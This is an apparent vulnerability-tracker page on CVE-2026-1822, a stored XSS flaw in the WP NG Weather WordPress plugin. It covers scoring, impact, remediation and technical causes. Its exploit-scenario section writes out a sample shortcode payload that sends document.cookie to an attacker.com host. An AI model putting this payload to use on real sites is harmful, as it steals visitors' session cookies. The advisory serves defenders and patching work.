Skip to main content

Wp Ng Weather EUVDEUVD-2026-14008

| CVE-2026-1822 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-rjxq-f5q8-7r4g
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents a moderate real-world risk with several mitigating and aggravating factors. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network accessibility, low attack complexity, and low privilege requirements (contributor-level access), but importantly requires authentication—ruling out mass worm scenarios. The privilege requirement to PR:L significantly reduces attack surface, as only users with contributor status or above can inject payloads; this typically means trusted WordPress users or compromised administrative accounts. However, the scope change (S:C) and impact on confidentiality and integrity are concerning. Without disclosed EPSS data or confirmed active exploitation status in public vulnerability databases, this appears to be a disclosed but not widely exploited vulnerability. The existence of public code references in the WordPress plugin repository enables relatively straightforward PoC development for security researchers and potential attackers. Real-world risk is constrained by WordPress plugin adoption rates and the requirement for authenticated access, making this a priority for affected site administrators but not a critical internet-wide threat.

Exploit ScenarioDerived

An attacker with WordPress contributor-level account access (obtained through credential compromise or social engineering) navigates to a page editor and inserts a malicious 'ng-weather' shortcode such as [ng-weather city="New York" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"] into a published page. When site visitors view the page, the injected JavaScript executes in their browsers, exfiltrating session cookies or performing actions on their behalf. This attack requires no user interaction beyond visiting the page (UI:N in CVSS vector) and affects all visitors, making it an effective persistent attack vector for credential theft or malware delivery across the affected WordPress site.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

The WP NG Weather plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'ng-weather' shortcode due to insufficient input sanitization and output escaping of user-supplied attributes. All versions up to and including 1.0.9 are affected, allowing authenticated attackers with contributor-level privileges or higher to inject arbitrary JavaScript that executes when users visit pages containing the malicious shortcode. With a CVSS score of 6.4 and network-accessible attack vector, this vulnerability poses a moderate risk to WordPress installations using this plugin.

RemediationAI

Site administrators should immediately upgrade the WP NG Weather plugin to a version later than 1.0.9 if available from the plugin developer (version status should be verified at https://plugins.trac.wordpress.org/browser/wp-ng-weather or the official WordPress.org plugin page). If no patched version is available, consider disabling or removing the plugin entirely until a security update is released. As an interim mitigation, restrict the 'ng-weather' shortcode usage to pages edited only by fully trusted administrators, and audit all existing pages using this shortcode for injected content. Additionally, implement WordPress user role restrictions to limit contributor-level access to only necessary personnel, and monitor page edit logs for suspicious activity. Keep WordPress and all plugins updated to ensure core security patches for related XSS protections are in place.

Affected VersionsENISA

WP NG Weather * ≤1.0.9

Affected Packages

euvd wp_ng_weather no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), a fundamental web application security flaw affecting server-side template rendering. The WP NG Weather plugin (CPE: cpe:2.3:a:tonysamperi:wp_ng_weather:*:*:*:*:*:*:*:*) fails to properly sanitize and escape shortcode attributes before rendering them in page templates. Code review of the affected versions (specifically wp-weather.php line 49 and templates/app.php line 5 per plugin repository references) reveals that user input passed through the shortcode parser is rendered directly into the DOM without WordPress escaping functions like esc_attr() or wp_kses_post(). This allows attackers to break out of attribute context and inject arbitrary HTML and JavaScript payloads that execute in the browsers of site visitors.

Know when Wp Ng Weather gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The WP NG Weather plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ng-weather' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-1822, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy